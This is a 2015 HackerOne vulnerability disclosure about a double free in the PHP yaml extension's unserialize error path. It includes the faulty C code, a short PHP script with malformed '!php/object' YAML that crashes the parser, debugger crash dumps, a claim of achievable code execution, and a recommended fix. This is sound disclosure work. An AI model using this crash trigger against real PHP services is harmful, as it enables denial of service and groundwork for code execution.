PHP (IBB): PHP yaml_parse/yaml_parse_file/yaml_parse_url Double Free

ID H1:73256
Type hackerone
Reporter johnleitch
Modified 2015-05-18T00:00:00



The yaml_* parsing functions suffers from an exploitable double free caused by the error path for the php_var_unserialize() call on line 797 of pecl/file_formats/yaml.git/parse.c:

``` if (IS_NOT_IMPLICIT_AND_TAG_IS(event, YAML_PHP_TAG)) { const unsigned char *p; php_unserialize_data_t var_hash;

            p = (const unsigned char *) value;

            if (!php_var_unserialize(
                            &retval, &p, p + (int) length, &var_hash TSRMLS_CC)) {
                    PHP_VAR_UNSERIALIZE_DESTROY(var_hash); <<<<<<<< First free
                    php_error_docref(NULL TSRMLS_CC, E_NOTICE,
                                    "Failed to unserialize class");
                    /* return the serialized string directly */
                    ZVAL_STRINGL(retval, value, length, 1);

            PHP_VAR_UNSERIALIZE_DESTROY(var_hash); <<<<<<<< Second free
            return retval;


Should php_var_unserialize return false, var_hash is immediately freed via PHP_VAR_UNSERIALIZE_DESTROY, and then freed once more prior to the function returning. This code path can be forced by crafting a YAML document that contains an invalid !php/object value. An example is as follows:

``` <?php

$yaml = <<<YAML a: !php/object O:0:1 b: !php/object

YAML; yaml_parse($yaml); ?> ```

And it produces the following crash:

eax=00000000 ebx=55a0b760 ecx=02fc9e58 edx=000a0d08 esi=015c41f8 edi=02deedc8 eip=55a0b7dc esp=014ce1d0 ebp=00000000 iopl=0 nv up ei ng nz ac pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297 php5ts!_efree+0x7c: 55a0b7dc 8b043a mov eax,dword ptr [edx+edi] ds:002b:02e8fad0=?????? ?? 0:000&gt; k ChildEBP RetAddr 014ce1d8 55b9d92c php5ts!_efree+0x7c 014ce1ec 613b45bd php5ts!var_destroy+0x1c 014ce25c 613b50fb php_yaml!eval_scalar+0x60d 014ce2ac 613b4a38 php_yaml!handle_scalar+0x2b 014ce2c8 613b4d09 php_yaml!get_next_element+0xb8 014ce384 613b4a16 php_yaml!handle_mapping+0x159 014ce3a0 613b4afe php_yaml!get_next_element+0x96 014ce3c4 613b3f33 php_yaml!handle_document+0x5e 014ce3e4 613b5f37 php_yaml!php_yaml_read_partial+0x93 014ce560 559e8721 php_yaml!zif_yaml_parse+0x177 014ce5c4 559e7de8 php5ts!zend_do_fcall_common_helper_SPEC+0x161 014ce600 559d33ea php5ts!execute_ex+0x378 014ce628 559d31ab php5ts!zend_execute+0x1ca 014ce65c 559d3694 php5ts!zend_execute_scripts+0x14b 014ce86c 770c9580 php5ts!php_execute_script+0x1b4 014ce8c4 76b9a3fa ntdll!RtlInitializeCriticalSectionEx+0xc2 014ce8dc 76b9a293 KERNELBASE!BasepInitializeFindFileHandle+0x51 014cecac 76b9a293 KERNELBASE!FindFirstFileExW+0x347 014cefb4 76bc39cc KERNELBASE!FindFirstFileExW+0x347 014cf25c 770eb1b7 KERNELBASE!FindFirstFileA+0x6c 014cf29c 770c8891 ntdll!LdrpApplyLookupReference+0x1e 014cf354 770c8c78 ntdll!RtlWow64EnableFsRedirectionEx+0x51 014cf4c4 770c9493 ntdll!RtlDosApplyFileIsolationRedirection_Ustr+0x2d8 014cf528 770c8092 ntdll!LdrpApplyFileNameRedirection+0x96 014cf5fc 770d4d3e ntdll!_SEH_epilog4_GS+0xa 014cf640 00000000 ntdll!LdrpGetProcedureAddress+0x3d

Further, the document can be leveraged to manipulate the layout of memory, allowing for EIP control after the double free has occurred, and thus arbitrary code execution. An example that triggers a DEP access violation can be found here:

And it produces the following exploitable crash:

0:000&gt; r eax=b6072cb5 ebx=00000000 ecx=55fc7ce0 edx=01564358 esi=02e57450 edi=0155e4b8 eip=b6072cb5 esp=014ce3f0 ebp=014ce45c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 b6072cb5 ?? ??? 0:000&gt; k ChildEBP RetAddr WARNING: Frame IP not in any known module. Following frames may be wrong. 014ce3ec 55a095a9 0xb6072cb5 014ce40c 55d7bbd0 php5ts!_zval_copy_ctor_func+0x139 00000000 00000000 php5ts!zend_std_read_property+0x3967e0

To fix this issue, it is recommended that the free be removed from the error path taken when php_var_unserialize() returns false.

Test script:


``` <?php

$yaml = <<<YAML a: !php/object O:0:1 b: !php/object

YAML; yaml_parse($yaml); ?> ```